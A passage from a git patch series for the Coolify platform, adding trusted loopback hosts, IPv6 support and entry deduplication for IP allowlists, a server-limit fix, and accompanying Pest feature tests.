$response->assertSuccessful(); + + $cookieName = config('session.cookie'); + $sessionCookie = collect($response->headers->all('set-cookie')) + ->first(fn ($c) => str_contains($c, $cookieName)); + + expect($sessionCookie)->not->toBeNull() + ->and(strtolower($sessionCookie))->toContain('; secure'); +}); diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php index b745259fe..5c60b30d6 100644 --- a/tests/Feature/TrustHostsMiddlewareTest.php +++ b/tests/Feature/TrustHostsMiddlewareTest.php @@ -286,6 +286,56 @@ expect($response->status())->not->toBe(400); }); +it('trusts localhost when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('localhost'); +}); + +it('trusts 127.0.0.1 when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('127.0.0.1'); +}); + +it('trusts IPv6 loopback when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('[::1]'); +}); + +it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $response = $this->get('/', [ + 'Host' => 'localhost', + ]); + + // Should NOT be rejected as untrusted host (would be 400) + expect($response->status())->not->toBe(400); +}); + it('skips host validation for webhook endpoints', function () { // All webhook routes are under /webhooks/* prefix (see RouteServiceProvider) // and use cryptographic signature validation instead of host validation From 0320d6a5b6b181a174fdf3cd8231c732bd66a1b8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 12:37:06 +0100 Subject: [PATCH 137/305] chore: prepare for PR --- app/Http/Middleware/TrustHosts.php | 7 +++ resources/views/errors/419.blade.php | 10 ++++- tests/Feature/TrustHostsMiddlewareTest.php | 50 ++++++++++++++++++++++ 3 files changed, 66 insertions(+), 1 deletion(-) diff --git a/app/Http/Middleware/TrustHosts.php b/app/Http/Middleware/TrustHosts.php index f0b9d67f2..5fca583d9 100644 --- a/app/Http/Middleware/TrustHosts.php +++ b/app/Http/Middleware/TrustHosts.php @@ -91,6 +91,13 @@ public function hosts(): array // Trust all subdomains of APP_URL as fallback $trustedHosts[] = $this->allSubdomainsOfApplicationUrl(); + // Always trust loopback addresses so local access works even when FQDN is configured + foreach (['localhost', '127.0.0.1', '[::1]'] as $localHost) { + if (! in_array($localHost, $trustedHosts, true)) { + $trustedHosts[] = $localHost; + } + } + return array_filter($trustedHosts); } } diff --git a/resources/views/errors/419.blade.php b/resources/views/errors/419.blade.php index 8569f4e22..70b5d7a92 100644 --- a/resources/views/errors/419.blade.php +++ b/resources/views/errors/419.blade.php @@ -5,7 +5,15 @@

This page is definitely old, not like you!

Your session has expired. Please log in again to continue.

-
+
+ Using a reverse proxy or Cloudflare Tunnel? +
    +
  • Set your domain in Settings → FQDN to match the URL you use to access Coolify.
  • +
  • Cloudflare users: disable Browser Integrity Check and Under Attack Mode for your Coolify domain, as these can interrupt login sessions.
  • +
  • If you can still access Coolify via localhost, log in there first to configure your FQDN.
  • +
+
+
Back to Login diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php index b745259fe..5c60b30d6 100644 --- a/tests/Feature/TrustHostsMiddlewareTest.php +++ b/tests/Feature/TrustHostsMiddlewareTest.php @@ -286,6 +286,56 @@ expect($response->status())->not->toBe(400); }); +it('trusts localhost when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('localhost'); +}); + +it('trusts 127.0.0.1 when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('127.0.0.1'); +}); + +it('trusts IPv6 loopback when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('[::1]'); +}); + +it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $response = $this->get('/', [ + 'Host' => 'localhost', + ]); + + // Should NOT be rejected as untrusted host (would be 400) + expect($response->status())->not->toBe(400); +}); + it('skips host validation for webhook endpoints', function () { // All webhook routes are under /webhooks/* prefix (see RouteServiceProvider) // and use cryptographic signature validation instead of host validation From 4f39cf6dc8a5605a16d2098ead02a7cb8534cc54 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 16:43:29 +0100 Subject: [PATCH 138/305] chore: prepare for PR --- app/Livewire/Settings/Advanced.php | 12 +- app/Rules/ValidIpOrCidr.php | 5 +- bootstrap/helpers/shared.php | 107 +++++++++++++-- tests/Feature/IpAllowlistTest.php | 208 ++++++++++++++++++++++++++++- 4 files changed, 311 insertions(+), 21 deletions(-) diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index 16361ce79..ad478273f 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -95,7 +95,9 @@ public function submit() // Check if it's valid CIDR notation if (str_contains($entry, '/')) { [$ip, $mask] = explode('/', $entry); - if (filter_var($ip, FILTER_VALIDATE_IP) && is_numeric($mask) && $mask >= 0 && $mask <= 32) { + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6 ? 128 : 32; + if (filter_var($ip, FILTER_VALIDATE_IP) && is_numeric($mask) && $mask >= 0 && $mask <= $maxMask) { return $entry; } $invalidEntries[] = $entry; @@ -111,7 +113,7 @@ public function submit() $invalidEntries[] = $entry; return null; - })->filter()->unique(); + })->filter()->values()->all(); if (! empty($invalidEntries)) { $this->dispatch('error', 'Invalid IP addresses or subnets: '.implode(', ', $invalidEntries)); @@ -119,13 +121,15 @@ public function submit() return; } - if ($validEntries->isEmpty()) { + if (empty($validEntries)) { $this->dispatch('error', 'No valid IP addresses or subnets provided'); return; } - $this->allowed_ips = $validEntries->implode(','); + $validEntries = deduplicateAllowlist($validEntries); + + $this->allowed_ips = implode(',', $validEntries); } $this->instantSave(); diff --git a/app/Rules/ValidIpOrCidr.php b/app/Rules/ValidIpOrCidr.php index e172ffd1a..bd0bd2296 100644 --- a/app/Rules/ValidIpOrCidr.php +++ b/app/Rules/ValidIpOrCidr.php @@ -45,7 +45,10 @@ public function validate(string $attribute, mixed $value, Closure $fail): void [$ip, $mask] = $parts; - if (! filter_var($ip, FILTER_VALIDATE_IP) || ! is_numeric($mask) || $mask < 0 || $mask > 32) { + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6 ? 128 : 32; + + if (! filter_var($ip, FILTER_VALIDATE_IP) || ! is_numeric($mask) || $mask < 0 || $mask > $maxMask) { $invalidEntries[] = $entry; } } else { diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index a1cecc879..3e993dbf3 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -1416,24 +1416,48 @@ function checkIPAgainstAllowlist($ip, $allowlist) } $mask = (int) $mask; + $isIpv6Subnet = filter_var($subnet, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6Subnet ? 128 : 32; - // Validate mask - if ($mask < 0 || $mask > 32) { + // Validate mask for address family + if ($mask < 0 || $mask > $maxMask) { continue; } - // Calculate network addresses - $ip_long = ip2long($ip); - $subnet_long = ip2long($subnet); + if ($isIpv6Subnet) { + // IPv6 CIDR matching using binary string comparison + $ipBin = inet_pton($ip); + $subnetBin = inet_pton($subnet); - if ($ip_long === false || $subnet_long === false) { - continue; - } + if ($ipBin === false || $subnetBin === false) { + continue; + } - $mask_long = ~((1 << (32 - $mask)) - 1); + // Build a 128-bit mask from $mask prefix bits + $maskBin = str_repeat("\xff", (int) ($mask / 8)); + $remainder = $mask % 8; + if ($remainder > 0) { + $maskBin .= chr(0xFF & (0xFF << (8 - $remainder))); + } + $maskBin = str_pad($maskBin, 16, "\x00"); - if (($ip_long & $mask_long) == ($subnet_long & $mask_long)) { - return true; + if (($ipBin & $maskBin) === ($subnetBin & $maskBin)) { + return true; + } + } else { + // IPv4 CIDR matching + $ip_long = ip2long($ip); + $subnet_long = ip2long($subnet); + + if ($ip_long === false || $subnet_long === false) { + continue; + } + + $mask_long = ~((1 << (32 - $mask)) - 1); + + if (($ip_long & $mask_long) == ($subnet_long & $mask_long)) { + return true; + } } } else { // Special case: 0.0.0.0 means allow all @@ -1451,6 +1475,67 @@ function checkIPAgainstAllowlist($ip, $allowlist) return false; } +function deduplicateAllowlist(array $entries): array +{ + if (count($entries) <= 1) { + return array_values($entries); + } + + // Normalize each entry into [original, ip, mask] + $parsed = []; + foreach ($entries as $entry) { + $entry = trim($entry); + if (empty($entry)) { + continue; + } + + if ($entry === '0.0.0.0') { + // Special case: bare 0.0.0.0 means "allow all" — treat as /0 + $parsed[] = ['original' => $entry, 'ip' => '0.0.0.0', 'mask' => 0]; + } elseif (str_contains($entry, '/')) { + [$ip, $mask] = explode('/', $entry); + $parsed[] = ['original' => $entry, 'ip' => $ip, 'mask' => (int) $mask]; + } else { + $ip = $entry; + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $parsed[] = ['original' => $entry, 'ip' => $ip, 'mask' => $isIpv6 ? 128 : 32]; + } + } + + $count = count($parsed); + $redundant = array_fill(0, $count, false); + + for ($i = 0; $i < $count; $i++) { + if ($redundant[$i]) { + continue; + } + + for ($j = 0; $j < $count; $j++) { + if ($i === $j || $redundant[$j]) { + continue; + } + + // Entry $j is redundant if its mask is narrower/equal (>=) than $i's mask + // AND $j's network IP falls within $i's CIDR range + if ($parsed[$j]['mask'] >= $parsed[$i]['mask']) { + $cidr = $parsed[$i]['ip'].'/'.$parsed[$i]['mask']; + if (checkIPAgainstAllowlist($parsed[$j]['ip'], [$cidr])) { + $redundant[$j] = true; + } + } + } + } + + $result = []; + for ($i = 0; $i < $count; $i++) { + if (! $redundant[$i]) { + $result[] = $parsed[$i]['original']; + } + } + + return $result; +} + function get_public_ips() { try { diff --git a/tests/Feature/IpAllowlistTest.php b/tests/Feature/IpAllowlistTest.php index 959dc757d..1b14b79e8 100644 --- a/tests/Feature/IpAllowlistTest.php +++ b/tests/Feature/IpAllowlistTest.php @@ -86,7 +86,7 @@ expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/-1']))->toBeFalse(); // Invalid mask }); -test('IP allowlist with various subnet sizes', function () { +test('IP allowlist with various IPv4 subnet sizes', function () { // /32 - single host expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.1/32']))->toBeTrue(); expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.1/32']))->toBeFalse(); @@ -96,16 +96,98 @@ expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/31']))->toBeTrue(); expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.0/31']))->toBeFalse(); - // /16 - class B + // /25 - half a /24 + expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/25']))->toBeTrue(); + expect(checkIPAgainstAllowlist('192.168.1.127', ['192.168.1.0/25']))->toBeTrue(); + expect(checkIPAgainstAllowlist('192.168.1.128', ['192.168.1.0/25']))->toBeFalse(); + + // /16 expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/16']))->toBeTrue(); expect(checkIPAgainstAllowlist('172.16.255.255', ['172.16.0.0/16']))->toBeTrue(); expect(checkIPAgainstAllowlist('172.17.0.1', ['172.16.0.0/16']))->toBeFalse(); + // /12 + expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/12']))->toBeTrue(); + expect(checkIPAgainstAllowlist('172.31.255.255', ['172.16.0.0/12']))->toBeTrue(); + expect(checkIPAgainstAllowlist('172.32.0.1', ['172.16.0.0/12']))->toBeFalse(); + + // /8 + expect(checkIPAgainstAllowlist('10.255.255.255', ['10.0.0.0/8']))->toBeTrue(); + expect(checkIPAgainstAllowlist('11.0.0.1', ['10.0.0.0/8']))->toBeFalse(); + // /0 - all addresses expect(checkIPAgainstAllowlist('1.1.1.1', ['0.0.0.0/0']))->toBeTrue(); expect(checkIPAgainstAllowlist('255.255.255.255', ['0.0.0.0/0']))->toBeTrue(); }); +test('IP allowlist with various IPv6 subnet sizes', function () { + // /128 - single host + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse(); + + // /127 - point-to-point link + expect(checkIPAgainstAllowlist('2001:db8::0', ['2001:db8::/127']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/127']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::/127']))->toBeFalse(); + + // /64 - standard subnet + expect(checkIPAgainstAllowlist('2001:db8:abcd:1234::1', ['2001:db8:abcd:1234::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:abcd:1234:ffff:ffff:ffff:ffff', ['2001:db8:abcd:1234::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:abcd:1235::1', ['2001:db8:abcd:1234::/64']))->toBeFalse(); + + // /48 - site prefix + expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1234:ffff::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse(); + + // /32 - ISP allocation + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/32']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:ffff:ffff::1', ['2001:db8::/32']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db9::1', ['2001:db8::/32']))->toBeFalse(); + + // /16 + expect(checkIPAgainstAllowlist('2001:0000::1', ['2001::/16']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:ffff:ffff::1', ['2001::/16']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2002::1', ['2001::/16']))->toBeFalse(); +}); + +test('IP allowlist with bare IPv6 addresses', function () { + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1']))->toBeFalse(); + expect(checkIPAgainstAllowlist('::1', ['::1']))->toBeTrue(); + expect(checkIPAgainstAllowlist('::1', ['::2']))->toBeFalse(); +}); + +test('IP allowlist with IPv6 CIDR notation', function () { + // /64 prefix — issue #8729 exact case + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::1', ['2a01:e0a:21d:8230::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230:abcd:ef01:2345:6789', ['2a01:e0a:21d:8230::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', ['2a01:e0a:21d:8230::/64']))->toBeFalse(); + + // /128 — single host + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse(); + + // /48 prefix + expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse(); +}); + +test('IP allowlist with mixed IPv4 and IPv6', function () { + $allowlist = ['192.168.1.100', '10.0.0.0/8', '2a01:e0a:21d:8230::/64']; + + expect(checkIPAgainstAllowlist('192.168.1.100', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('10.5.5.5', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::cafe', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', $allowlist))->toBeFalse(); + expect(checkIPAgainstAllowlist('8.8.8.8', $allowlist))->toBeFalse(); +}); + +test('IP allowlist handles invalid IPv6 masks', function () { + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/129']))->toBeFalse(); // mask > 128 + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/-1']))->toBeFalse(); // negative mask +}); + test('IP allowlist comma-separated string input', function () { // Test with comma-separated string (as it would come from the settings) $allowlistString = '192.168.1.100,10.0.0.0/8,172.16.0.0/16'; @@ -134,14 +216,21 @@ // Valid cases - should pass expect($validate(''))->toBeTrue(); // Empty is allowed expect($validate('0.0.0.0'))->toBeTrue(); // 0.0.0.0 is allowed - expect($validate('192.168.1.1'))->toBeTrue(); // Valid IP - expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid CIDR - expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid CIDR + expect($validate('192.168.1.1'))->toBeTrue(); // Valid IPv4 + expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid IPv4 CIDR + expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid IPv4 CIDR expect($validate('192.168.1.1,10.0.0.1'))->toBeTrue(); // Multiple valid IPs expect($validate('192.168.1.0/24,10.0.0.0/8'))->toBeTrue(); // Multiple CIDRs expect($validate('0.0.0.0/0'))->toBeTrue(); // 0.0.0.0 with subnet expect($validate('0.0.0.0/24'))->toBeTrue(); // 0.0.0.0 with any subnet expect($validate(' 192.168.1.1 '))->toBeTrue(); // With spaces + // IPv6 valid cases — issue #8729 + expect($validate('2001:db8::1'))->toBeTrue(); // Valid bare IPv6 + expect($validate('::1'))->toBeTrue(); // Loopback IPv6 + expect($validate('2a01:e0a:21d:8230::/64'))->toBeTrue(); // IPv6 /64 CIDR + expect($validate('2001:db8::/48'))->toBeTrue(); // IPv6 /48 CIDR + expect($validate('2001:db8::1/128'))->toBeTrue(); // IPv6 /128 CIDR + expect($validate('192.168.1.1,2a01:e0a:21d:8230::/64'))->toBeTrue(); // Mixed IPv4 + IPv6 CIDR // Invalid cases - should fail expect($validate('1'))->toBeFalse(); // Single digit @@ -155,6 +244,7 @@ expect($validate('not.an.ip.address'))->toBeFalse(); // Invalid format expect($validate('192.168'))->toBeFalse(); // Incomplete IP expect($validate('192.168.1.1.1'))->toBeFalse(); // Too many octets + expect($validate('2001:db8::/129'))->toBeFalse(); // IPv6 mask > 128 }); test('ValidIpOrCidr validation rule error messages', function () { @@ -181,3 +271,111 @@ expect($error)->toContain('10.0.0.256'); expect($error)->not->toContain('192.168.1.1'); // Valid IP should not be in error }); + +test('deduplicateAllowlist removes bare IPv4 covered by various subnets', function () { + // /24 + expect(deduplicateAllowlist(['192.168.1.5', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /16 + expect(deduplicateAllowlist(['172.16.5.10', '172.16.0.0/16']))->toBe(['172.16.0.0/16']); + // /8 + expect(deduplicateAllowlist(['10.50.100.200', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /32 — same host, first entry wins (both equivalent) + expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1/32']))->toBe(['192.168.1.1']); + // /31 — point-to-point + expect(deduplicateAllowlist(['192.168.1.0', '192.168.1.0/31']))->toBe(['192.168.1.0/31']); + // IP outside subnet — both preserved + expect(deduplicateAllowlist(['172.17.0.1', '172.16.0.0/16']))->toBe(['172.17.0.1', '172.16.0.0/16']); +}); + +test('deduplicateAllowlist removes narrow IPv4 CIDR covered by broader CIDR', function () { + // /32 inside /24 + expect(deduplicateAllowlist(['192.168.1.1/32', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /25 inside /24 + expect(deduplicateAllowlist(['192.168.1.0/25', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /24 inside /16 + expect(deduplicateAllowlist(['192.168.1.0/24', '192.168.0.0/16']))->toBe(['192.168.0.0/16']); + // /16 inside /12 + expect(deduplicateAllowlist(['172.16.0.0/16', '172.16.0.0/12']))->toBe(['172.16.0.0/12']); + // /16 inside /8 + expect(deduplicateAllowlist(['10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /24 inside /8 + expect(deduplicateAllowlist(['10.1.2.0/24', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /12 inside /8 + expect(deduplicateAllowlist(['172.16.0.0/12', '172.0.0.0/8']))->toBe(['172.0.0.0/8']); + // /31 inside /24 + expect(deduplicateAllowlist(['192.168.1.0/31', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // Non-overlapping CIDRs — both preserved + expect(deduplicateAllowlist(['192.168.1.0/24', '10.0.0.0/8']))->toBe(['192.168.1.0/24', '10.0.0.0/8']); + expect(deduplicateAllowlist(['172.16.0.0/16', '192.168.0.0/16']))->toBe(['172.16.0.0/16', '192.168.0.0/16']); +}); + +test('deduplicateAllowlist removes bare IPv6 covered by various prefixes', function () { + // /64 — issue #8729 exact scenario + expect(deduplicateAllowlist(['2a01:e0a:21d:8230::', '127.0.0.1', '2a01:e0a:21d:8230::/64'])) + ->toBe(['127.0.0.1', '2a01:e0a:21d:8230::/64']); + // /48 + expect(deduplicateAllowlist(['2001:db8:1234::1', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']); + // /128 — same host, first entry wins (both equivalent) + expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1/128']))->toBe(['2001:db8::1']); + // IP outside prefix — both preserved + expect(deduplicateAllowlist(['2001:db8:1235::1', '2001:db8:1234::/48'])) + ->toBe(['2001:db8:1235::1', '2001:db8:1234::/48']); +}); + +test('deduplicateAllowlist removes narrow IPv6 CIDR covered by broader prefix', function () { + // /128 inside /64 + expect(deduplicateAllowlist(['2a01:e0a:21d:8230::5/128', '2a01:e0a:21d:8230::/64']))->toBe(['2a01:e0a:21d:8230::/64']); + // /127 inside /64 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/127', '2001:db8:1234:5678::/64']))->toBe(['2001:db8:1234:5678::/64']); + // /64 inside /48 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']); + // /48 inside /32 + expect(deduplicateAllowlist(['2001:db8:abcd::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']); + // /32 inside /16 + expect(deduplicateAllowlist(['2001:db8::/32', '2001::/16']))->toBe(['2001::/16']); + // /64 inside /32 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8::/32']))->toBe(['2001:db8::/32']); + // Non-overlapping IPv6 — both preserved + expect(deduplicateAllowlist(['2001:db8::/32', 'fd00::/8']))->toBe(['2001:db8::/32', 'fd00::/8']); + expect(deduplicateAllowlist(['2001:db8:1234::/48', '2001:db8:5678::/48']))->toBe(['2001:db8:1234::/48', '2001:db8:5678::/48']); +}); + +test('deduplicateAllowlist mixed IPv4 and IPv6 subnets', function () { + $result = deduplicateAllowlist([ + '192.168.1.5', // covered by 192.168.0.0/16 + '192.168.0.0/16', + '2a01:e0a:21d:8230::1', // covered by ::/64 + '2a01:e0a:21d:8230::/64', + '10.0.0.1', // not covered by anything + '::1', // not covered by anything + ]); + expect($result)->toBe(['192.168.0.0/16', '2a01:e0a:21d:8230::/64', '10.0.0.1', '::1']); +}); + +test('deduplicateAllowlist preserves non-overlapping entries', function () { + $result = deduplicateAllowlist(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']); + expect($result)->toBe(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']); +}); + +test('deduplicateAllowlist handles exact duplicates', function () { + expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1']))->toBe(['192.168.1.1']); + expect(deduplicateAllowlist(['10.0.0.0/8', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1']))->toBe(['2001:db8::1']); +}); + +test('deduplicateAllowlist handles single entry and empty array', function () { + expect(deduplicateAllowlist(['10.0.0.1']))->toBe(['10.0.0.1']); + expect(deduplicateAllowlist([]))->toBe([]); +}); + +test('deduplicateAllowlist with 0.0.0.0 removes everything else', function () { + $result = deduplicateAllowlist(['192.168.1.1', '0.0.0.0', '10.0.0.0/8']); + expect($result)->toBe(['0.0.0.0']); +}); + +test('deduplicateAllowlist multiple nested CIDRs keeps only broadest', function () { + // IPv4: three levels of nesting + expect(deduplicateAllowlist(['10.1.2.0/24', '10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // IPv6: three levels of nesting + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']); +}); From 91f538e171d2e6ebb85f87a627dfd5e06e7ae084 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 17:03:46 +0100 Subject: [PATCH 139/305] fix(server): handle limit edge case and IPv6 allowlist dedupe Update server limit enforcement to re-enable force-disabled servers when the team is at or under its limit (`<= 0` condition). Improve allowlist validation and matching by: - supporting IPv6 CIDR mask ranges up to `/128` - adding IPv6-aware CIDR matching in `checkIPAgainstAllowlist` - normalizing/deduplicating redundant allowlist entries before saving Add feature tests for `ServerLimitCheckJob` covering under-limit, at-limit, over-limit, and no-op scenarios. --- app/Jobs/ServerLimitCheckJob.php | 2 +- app/Livewire/Settings/Advanced.php | 12 ++- app/Rules/ValidIpOrCidr.php | 5 +- bootstrap/helpers/shared.php | 107 +++++++++++++++++++--- tests/Feature/ServerLimitCheckJobTest.php | 83 +++++++++++++++++ 5 files changed, 192 insertions(+), 17 deletions(-) create mode 100644 tests/Feature/ServerLimitCheckJobTest.php diff --git a/app/Jobs/ServerLimitCheckJob.php b/app/Jobs/ServerLimitCheckJob.php index aa82c6dad..06e94fc93 100644 --- a/app/Jobs/ServerLimitCheckJob.php +++ b/app/Jobs/ServerLimitCheckJob.php @@ -38,7 +38,7 @@ public function handle() $server->forceDisableServer(); $this->team->notify(new ForceDisabled($server)); }); - } elseif ($number_of_servers_to_disable === 0) { + } elseif ($number_of_servers_to_disable <= 0) { $servers->each(function ($server) { if ($server->isForceDisabled()) { $server->forceEnableServer(); diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index 16361ce79..ad478273f 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -95,7 +95,9 @@ public function submit() // Check if it's valid CIDR notation if (str_contains($entry, '/')) { [$ip, $mask] = explode('/', $entry); - if (filter_var($ip, FILTER_VALIDATE_IP) && is_numeric($mask) && $mask >= 0 && $mask <= 32) { + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6 ? 128 : 32; + if (filter_var($ip, FILTER_VALIDATE_IP) && is_numeric($mask) && $mask >= 0 && $mask <= $maxMask) { return $entry; } $invalidEntries[] = $entry; @@ -111,7 +113,7 @@ public function submit() $invalidEntries[] = $entry; return null; - })->filter()->unique(); + })->filter()->values()->all(); if (! empty($invalidEntries)) { $this->dispatch('error', 'Invalid IP addresses or subnets: '.implode(', ', $invalidEntries)); @@ -119,13 +121,15 @@ public function submit() return; } - if ($validEntries->isEmpty()) { + if (empty($validEntries)) { $this->dispatch('error', 'No valid IP addresses or subnets provided'); return; } - $this->allowed_ips = $validEntries->implode(','); + $validEntries = deduplicateAllowlist($validEntries); + + $this->allowed_ips = implode(',', $validEntries); } $this->instantSave(); diff --git a/app/Rules/ValidIpOrCidr.php b/app/Rules/ValidIpOrCidr.php index e172ffd1a..bd0bd2296 100644 --- a/app/Rules/ValidIpOrCidr.php +++ b/app/Rules/ValidIpOrCidr.php @@ -45,7 +45,10 @@ public function validate(string $attribute, mixed $value, Closure $fail): void [$ip, $mask] = $parts; - if (! filter_var($ip, FILTER_VALIDATE_IP) || ! is_numeric($mask) || $mask < 0 || $mask > 32) { + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6 ? 128 : 32; + + if (! filter_var($ip, FILTER_VALIDATE_IP) || ! is_numeric($mask) || $mask < 0 || $mask > $maxMask) { $invalidEntries[] = $entry; } } else { diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index a1cecc879..3e993dbf3 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -1416,24 +1416,48 @@ function checkIPAgainstAllowlist($ip, $allowlist) } $mask = (int) $mask; + $isIpv6Subnet = filter_var($subnet, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6Subnet ? 128 : 32; - // Validate mask - if ($mask < 0 || $mask > 32) { + // 